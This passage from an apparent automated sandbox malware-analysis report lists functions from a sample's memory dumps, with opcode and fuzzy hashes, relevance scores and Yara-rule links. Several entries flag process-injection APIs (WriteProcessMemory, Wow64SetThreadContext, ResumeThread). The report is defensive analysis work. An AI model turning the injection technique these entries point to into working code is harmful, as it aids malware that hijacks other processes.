Instruction Fuzzy Hash: F7635070A442189FEB259F60CC56BEE76B2EF84704F0080A9E71A7B3D5CB756E818F15

Uniqueness

Uniqueness Score: -1.00%

Function 04F709B8, Relevance: 1.6, APIs: 1, Instructions: 59injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04F70A2E

Memory Dump Source

Source File: 00000018.00000002.867043432.0000000004F70000.00000040.00000001.sdmp, Offset: 04F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4f70000_2203.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: bd6ab5b9c156fb1647327c0750fcdc87b129a8168ab9a7b7a09bfc23075cba17
Instruction ID: ffa6857bb6ae7d0c3d4648dd7fa1e081ce5a18f43c528143fd2d07c3ebb88b4a
Opcode Fuzzy Hash: bd6ab5b9c156fb1647327c0750fcdc87b129a8168ab9a7b7a09bfc23075cba17
Instruction Fuzzy Hash: 79218C728042099FDF10CFA5C8447EFBBF1EF48324F108429D559A7240CB799945DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04F709C0, Relevance: 1.6, APIs: 1, Instructions: 56injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04F70A2E

Memory Dump Source

Source File: 00000018.00000002.867043432.0000000004F70000.00000040.00000001.sdmp, Offset: 04F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4f70000_2203.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: aa931fa18d9efd434c961ae8462df3f20f19a800705dcfe83dc42f7ce194bc13
Instruction ID: 6b5c57b2c851d7c06701cd6f578f52c80ef2aa89f2f6985969d4f3884b2479d4
Opcode Fuzzy Hash: aa931fa18d9efd434c961ae8462df3f20f19a800705dcfe83dc42f7ce194bc13
Instruction Fuzzy Hash: F3116A728042099FDF10CFA9C8447EFBBF5EF48324F148829E515A7240CB79A955DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04F70B68, Relevance: 1.6, APIs: 1, Instructions: 55threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 04F70BD5

Memory Dump Source

Source File: 00000018.00000002.867043432.0000000004F70000.00000040.00000001.sdmp, Offset: 04F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4f70000_2203.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 14a25d6b61504cb1d1d220d7f08a635912349e9e65df7a5fc746bdffebe85909
Instruction ID: 65dd78a98288eb5c56e212c3ebfa56ce9abddb4768ad7d8673ca9d3bfd0a2a65
Opcode Fuzzy Hash: 14a25d6b61504cb1d1d220d7f08a635912349e9e65df7a5fc746bdffebe85909
Instruction Fuzzy Hash: 55116A72D042098FDB10CFA9C4447EFFBF4EF48324F11842AD555A7240DB38AA45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04F70B70, Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 04F70BD5

Memory Dump Source

Source File: 00000018.00000002.867043432.0000000004F70000.00000040.00000001.sdmp, Offset: 04F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4f70000_2203.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 9087ad33c88d08181bb956da8f61472b3458234df304c6ec3f38efa4de90326a
Instruction ID: b91edcbe915223d5cb4a5a1509cd9e9d29497d0bcc5e604cd7233ed8e71f61e2
Opcode Fuzzy Hash: 9087ad33c88d08181bb956da8f61472b3458234df304c6ec3f38efa4de90326a
Instruction Fuzzy Hash: EB115B719042098FDB10DFAAC4447EFFBF5EF88324F14882ED555A7240DB38AA45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04F7F4D0, Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 04F7F532

Memory Dump Source

Source File: 00000018.00000002.867043432.0000000004F70000.00000040.00000001.sdmp, Offset: 04F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4f70000_2203.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: b669a45a443835459b84ee4f7cbb5f0732b7b80a3b026beca87eed3399c41e0a
Instruction ID: f3557db63bdde4d674dc97dba6bd82c13657a4600e96b20c13d2afedcb6b99be
Opcode Fuzzy Hash: b669a45a443835459b84ee4f7cbb5f0732b7b80a3b026beca87eed3399c41e0a
Instruction Fuzzy Hash: 7B11F8B19042498BDB10DFAAC8447EFFBF5AB88324F14881AD515A7240CB78A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04ED35F0, Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

`l, xrefs: 04ED36E0

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID: `l
API String ID: 0-854262082
Opcode ID: 2bcd3dcc6ae96bbd752fc07c6e4abc9231a874a2d6fcc6a23b6842ae7913ebbd
Instruction ID: 5329965f1f7f7a97aafb8aea9f921cfae16e4a58956f0fbc54316771b9692aff
Opcode Fuzzy Hash: 2bcd3dcc6ae96bbd752fc07c6e4abc9231a874a2d6fcc6a23b6842ae7913ebbd
Instruction Fuzzy Hash: 3D51B0B4A04205DFC704DF28C48089ABBF2FF8931871289A9D849DB322D731FE85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04ED3D20, Relevance: 1.4, Strings: 1, Instructions: 120COMMON

Download Yara Rule

Strings

`l, xrefs: 04ED3D3E

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID: `l
API String ID: 0-854262082
Opcode ID: f080547963dfad12cd19e4491a4b1d8119bbb239b2e2c5bb28a1d2a590f0a240
Instruction ID: 8d253971542ffac90585d7dbe82a417e591e8dfbfbb5821eb8d1a3d38f3406b4
Opcode Fuzzy Hash: f080547963dfad12cd19e4491a4b1d8119bbb239b2e2c5bb28a1d2a590f0a240
Instruction Fuzzy Hash: 3641B035B01205DFDB14DF79D8546ADB7B2FF89318B1580A9D806EB3A0DB30AC06CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04ED3D30, Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

`l, xrefs: 04ED3D3E

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID: `l
API String ID: 0-854262082
Opcode ID: a30e1eed4b9c715baf08a6c1d84c60cb7eaaafed0e62e89efb9e6c01bc38f06b
Instruction ID: e25c072a37641dadd67e92b3e1d89469434b144dc0065ddf30ad2dc9c3cbd641
Opcode Fuzzy Hash: a30e1eed4b9c715baf08a6c1d84c60cb7eaaafed0e62e89efb9e6c01bc38f06b
Instruction Fuzzy Hash: 5D31A0357042019FDB14EF35C8905AEB7F3EF8921471A85A9D906DB396DB30EC02CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04ED4808, Relevance: .4, Instructions: 399COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f943f883f9a006a7e7a16e2b4641aebd7ae7607a512667a545b548104dd8e754
Instruction ID: 217d27c497ba612d590044ca48b90799d3ae54b05c78b3f5dd8f67c0269a2606
Opcode Fuzzy Hash: f943f883f9a006a7e7a16e2b4641aebd7ae7607a512667a545b548104dd8e754
Instruction Fuzzy Hash: EAF168347046008FCB54DF2AC489AAABBE2FF99314F1984A9E542CB7B1DB35ED41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04ED2128, Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c9f5ddc03f53facbb92ddf872d609fc2ce45289b14a2e08c413e33d397453e3
Instruction ID: b0c6f88d4dda93c973c352f78af6be73853f2706f6df9ef5b5fbc3a152591054
Opcode Fuzzy Hash: 3c9f5ddc03f53facbb92ddf872d609fc2ce45289b14a2e08c413e33d397453e3
Instruction Fuzzy Hash: 52B1C0307052419FD725DF29C094A66BBE2EF85318B19C1EAE659CB762CB31FC82CB51

Uniqueness

Uniqueness Score: -1.00%

Function 04EDBD30, Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7d0ced717f054508c2e2b6e5b048dfbbcd82266a018a13a20433682be9f12d2
Instruction ID: 0010008a01f66303748da7de9314a089f343b16d28070be57b6a29b09298da93
Opcode Fuzzy Hash: b7d0ced717f054508c2e2b6e5b048dfbbcd82266a018a13a20433682be9f12d2
Instruction Fuzzy Hash: 7091BB71A083449FC715DF68C8809AABBF2FF85314B1684AAE945DB352D730FC46CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04ED53EB, Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e873cdf90913abe80396a4917bb6a5f2d838d8a63346b891d3771cb84ab7b34
Instruction ID: 82a1a436b67f0c82dd78fe7a13529705056bc335b122024bf05a8c1b39e6bcea
Opcode Fuzzy Hash: 3e873cdf90913abe80396a4917bb6a5f2d838d8a63346b891d3771cb84ab7b34
Instruction Fuzzy Hash: 0EA14A34A002049FDB14DF29C588A69B7F6EF89314F1694A9E50A9F3B2DB71FC81CB51

Uniqueness

Uniqueness Score: -1.00%

Function 04EDB8A0, Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe262bc91897425c1230a80d7e03cacbc087355273b7bdfc875e52eab2cb20db
Instruction ID: 1170a16cf7d7cef2ec1887b6f2105a4bc5ace2b7e7c75d6affe4dd6deb4ba8a6
Opcode Fuzzy Hash: fe262bc91897425c1230a80d7e03cacbc087355273b7bdfc875e52eab2cb20db
Instruction Fuzzy Hash: CB5107727042599FCB12DF69D8508EFBBFAEF85224B058066FA15C7212D731EC16CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04ED3AF0, Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2aafaee80d423e3064c0bcc75d2679db82e0129dd90e4f5df2fcbea9eab9a41
Instruction ID: 6ecda6e4428066c638cfc8f010d55253f265d0ccef84a8633854594ff89ca580
Opcode Fuzzy Hash: d2aafaee80d423e3064c0bcc75d2679db82e0129dd90e4f5df2fcbea9eab9a41
Instruction Fuzzy Hash: 87615835B00104DFD714EF65D858AA9B7B2FF88308F1591A9D916AB3A0DB30EC46CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04EDC640, Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6147f8ea15c7ca9c468529422aef7853513209e5ed410ef4409842dd3a952c39
Instruction ID: 727dae8383c91c8e5b73c06dee8f6e65b5a96ae4d9474677e140cff73d8e8a91
Opcode Fuzzy Hash: 6147f8ea15c7ca9c468529422aef7853513209e5ed410ef4409842dd3a952c39
Instruction Fuzzy Hash: B6518F34A01205CFDB04DF75D958AAD7BF2EF49348F249469E406EB3A1DB31AD46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04ED1EA0, Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aaa236faad2a95b4c2df660fa9346fa73f8589a6cb7959830716e37d79f8790
Instruction ID: db259107f89ac5b664028055c4dbdfac7379a6559d0f3dd7870510395a32e851
Opcode Fuzzy Hash: 4aaa236faad2a95b4c2df660fa9346fa73f8589a6cb7959830716e37d79f8790
Instruction Fuzzy Hash: 0141C3307046018FE7351A36880066AB7EAAF85705F14996EE657C7290EB29FC87D761

Uniqueness

Uniqueness Score: -1.00%

Function 04EDC088, Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afcdf9a57605f03feaa309ef981132520dcabaab18633c5b2d6c29bf09b51b94
Instruction ID: 47f2e09b70b9d5289ba0e5a03c0b289543a0d90ef730d82a8b4003f39c5a1bea
Opcode Fuzzy Hash: afcdf9a57605f03feaa309ef981132520dcabaab18633c5b2d6c29bf09b51b94
Instruction Fuzzy Hash: 0451A071A002559FDB11CF69C880EAABBF2FF49364F258255E655EB3A1C730F942CB60

Uniqueness

Uniqueness Score: -1.00%

Function 04ED4F40, Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa2b5ef607ad384c6ef85d0a08f87c2694e3f82f2426a4d4df928cce90e29718
Instruction ID: 11735e1a7314f70602caf251370128ef32b429bbd838cbc22ca16fa64a937f80
Opcode Fuzzy Hash: fa2b5ef607ad384c6ef85d0a08f87c2694e3f82f2426a4d4df928cce90e29718
Instruction Fuzzy Hash: 5441E2717046019FDB15DF69D8809AEBBB6EFD9218B059466E505CB362EB30FC03C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 04ED5198, Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ae6c5cb4c5974304a29d21958c7a664882fad4af4041065871fd02aaa91fa28
Instruction ID: 9ddf32c1b276d4edeabe09edf224cf010420730a10ea171d04a32b3d84b75acd
Opcode Fuzzy Hash: 4ae6c5cb4c5974304a29d21958c7a664882fad4af4041065871fd02aaa91fa28
Instruction Fuzzy Hash: FF41BF317016159FCB14DF6DC98496ABBF5EF89319B0580BAD909CB362DB30EC46CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04EDDAC8, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e26496d69b1aedf1e6bec1117d458ed502e4e4ee159ca850222311f9f79e761d
Instruction ID: 490c4e029cb2d1e2dd519d5114fd643cf41ba0e7ed9257beccdb09823ae36fc0
Opcode Fuzzy Hash: e26496d69b1aedf1e6bec1117d458ed502e4e4ee159ca850222311f9f79e761d
Instruction Fuzzy Hash: A331B1716047058FD314DF65D840A9BBBF2EF85318B00892DD15ACB652EB71FD4ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 04ED7048, Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1baba86f8b9a7922dd102676087b1ee5480e75b5ce421fcb1b1ce26dd4d15077
Instruction ID: ce12b935dd7de4af4e2c0c4ccd1fac26b4e8796c5c42f5740a5d25f81636655c
Opcode Fuzzy Hash: 1baba86f8b9a7922dd102676087b1ee5480e75b5ce421fcb1b1ce26dd4d15077
Instruction Fuzzy Hash: BC310930B082588FCB05ABB8D82446E7BF2EFC6305B0104AAD106DB395DF74ED46CB92

Uniqueness

Uniqueness Score: -1.00%

Function 04ED6DA6, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4ebeec9508bc876fb0907a3950654c3a8657b73e2e8738c3cb591f5b665b997
Instruction ID: 4793e32500c61bc9dd1aa9fc6b957e8085b62cb0dc9a7f597b88e2a7245b44b3
Opcode Fuzzy Hash: c4ebeec9508bc876fb0907a3950654c3a8657b73e2e8738c3cb591f5b665b997
Instruction Fuzzy Hash: D421A17020A3809FC3179B34E8949567FB5AF8B208B1504EEE545CB793D736EC0AC721

Uniqueness

Uniqueness Score: -1.00%

Function 04EDD400, Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c956da5f497da666b16d81460279758c68c0750a4f1712f9e82ade091b097dcd
Instruction ID: 5aeaa3a5666a3cc79c2bc2f97e57aa72b8456d48d708ffc1c789056d2287a0e7
Opcode Fuzzy Hash: c956da5f497da666b16d81460279758c68c0750a4f1712f9e82ade091b097dcd
Instruction Fuzzy Hash: 3A311875E002199FDF11DFA9C8809AEBBF6FF88214F14806AE955A7311D734ED41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04ED5189, Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d4991fc776e1b7e05ee0212e199663840da32575216e98efa2b7dbbff7c5533
Instruction ID: 12f95f9aa4f74326099953634e414f7bd77c6059671abb415d3ee71403f28a5e
Opcode Fuzzy Hash: 7d4991fc776e1b7e05ee0212e199663840da32575216e98efa2b7dbbff7c5533
Instruction Fuzzy Hash: D031DD30601A04EFDB25CF28C98496ABBB4FF5930DF1581A9D805DB266D730F846CB61

Uniqueness

Uniqueness Score: -1.00%

Function 04ED3550, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2291d8daf20100ea6311a2d81ba4cb60805dbaddb2db4d1db7c0685a45924a1
Instruction ID: 9477898f1b3822a8eb848ce99e6c771f9c82a290e816d4187889493ba94e1a6c
Opcode Fuzzy Hash: c2291d8daf20100ea6311a2d81ba4cb60805dbaddb2db4d1db7c0685a45924a1
Instruction Fuzzy Hash: F9210375608244CFD700CF68D8409AABBB1FF8A324B10819AE815DB362D732EE47CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04ED5088, Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3844668ea34746005c1358f4abb44fea71f3212692411fc7b46742dddf76e6e2
Instruction ID: d8d9443cba7ab4289ed526c69d3773b2babf411ea6ee350463230e45dda483d9
Opcode Fuzzy Hash: 3844668ea34746005c1358f4abb44fea71f3212692411fc7b46742dddf76e6e2
Instruction Fuzzy Hash: 1831B4342087408FD315EB24C696C86BBE6AF86304346C9A5E556DBB36CB70FE85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04ED5087, Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca295d766842fa6c6693c549471d9625cf7c709357909597d2d03ad8653e8541
Instruction ID: 72177502e4d011453cc8f509c2a8fded2099cfa3aa19251eabf406884ffbde16
Opcode Fuzzy Hash: ca295d766842fa6c6693c549471d9625cf7c709357909597d2d03ad8653e8541
Instruction Fuzzy Hash: BB31B4342087408FD315EF24C696C86BBE6AF86304346C9A5E556DBB36CB70FE85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04EDD2E0, Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bcb6039b78ca4d2fc54242e52d67a6c2e1d2f1d303f7e196a62cc2340e36cbe
Instruction ID: 7f60c06464df6ed169d674f7d4abd0ed1024ab5cee4a00bf9b6627d045d308c6
Opcode Fuzzy Hash: 6bcb6039b78ca4d2fc54242e52d67a6c2e1d2f1d303f7e196a62cc2340e36cbe
Instruction Fuzzy Hash: 2421A435B002049FDB15AFB6D850AAFBBB2FF84314F10842DE515AB350CB72E811CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04EDCFC0, Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2060acb6337bda2d522fb21a07d0d34b6e4a565da962cee7712283924b0007fd
Instruction ID: af4ea0d9ec6e6a67faa84b67fd33bba779a1816a20a08a9cd0a521aa92cca97e
Opcode Fuzzy Hash: 2060acb6337bda2d522fb21a07d0d34b6e4a565da962cee7712283924b0007fd
Instruction Fuzzy Hash: D4219D70A0021ADFCB04DF65D984D6EBBF2FF88714B108169D908AB321D731ED42CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04EDCFB0, Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8679a3be29874dcd4b4f2e11bbbbec15c4384ab46f96ceadc9b60ae08afaeaf
Instruction ID: b3621c2f2429aa7075286828da10802a953c37c65bd602378fd1f1145d3a417c
Opcode Fuzzy Hash: a8679a3be29874dcd4b4f2e11bbbbec15c4384ab46f96ceadc9b60ae08afaeaf
Instruction Fuzzy Hash: 7C219AB1A0021ADFCB14DF65C98495ABBF2FF88614B1181A9D909AB321D331FC06CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04ED4CD8, Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bf32005a61d5d96baa6e8c8b0fd4b32287c7b85ac19d5acab8813a0c907c019
Instruction ID: 4573c28624591caa614ff6db4b9597b7bb8c764a06364ea99e0e4a2c6f19f366
Opcode Fuzzy Hash: 7bf32005a61d5d96baa6e8c8b0fd4b32287c7b85ac19d5acab8813a0c907c019
Instruction Fuzzy Hash: 1511A532B046285FE3259A799C50B2BB3D5DBC8A64F11413AEA09DB390DE71EC0283E0

Uniqueness

Uniqueness Score: -1.00%

Function 04EDD738, Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e80096ad167de123094efffff5d9a228ba70a0530eb9f41ba6a245d29a2a1073
Instruction ID: d7fdbfb5d8875b27b6aad00e2208147e245eada371e10617ca72cd5a23296d0b
Opcode Fuzzy Hash: e80096ad167de123094efffff5d9a228ba70a0530eb9f41ba6a245d29a2a1073
Instruction Fuzzy Hash: 7D11E56430C3148FDB1967399C1097A3BE99F8964870624E6D509CB792EE14FC47CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 04ED1800, Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9506a65cb73c3c4ed52682f83fd363e8e876d410b3ef2958ff751722172af077
Instruction ID: 3d0465d51003a7a7f6e333257bf2bf23092c177270849cea02dda0f38524005e
Opcode Fuzzy Hash: 9506a65cb73c3c4ed52682f83fd363e8e876d410b3ef2958ff751722172af077
Instruction Fuzzy Hash: 25216D35A00248AFDB05DFE1D850AADBBB6FF48314F04806AE951AF395DB31E856CB80

Uniqueness

Uniqueness Score: -1.00%

Function 04EDDE80, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a02cf92050613013212b222228bbcbb01568a050013c86a1fee5225f7de3ef53
Instruction ID: 8c3d1d8f8e61473fed3f3c90f78300123019de54774b9cb99b34d24a19ba5719
Opcode Fuzzy Hash: a02cf92050613013212b222228bbcbb01568a050013c86a1fee5225f7de3ef53
Instruction Fuzzy Hash: 64112C31708114579714AB788951D7FB2C6AFC5608742A635DA15EF351DF70FC82C3C1

Uniqueness

Uniqueness Score: -1.00%

Function 04EDBE80, Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.866685742.0000000004ED0000.00000040.00000001.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4ed0000_2203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9118dead8809e42b1994d203a282adbee8606860094852247c0cd251042172bc
Instruction ID: e27ff587ef3dd311e1032f7c531b6b3eae0dcb29b0878455df01c4f9d849b12b
Opcode Fuzzy Hash: 9118dead8809e42b1994d203a282adbee8606860094852247c0cd251042172bc
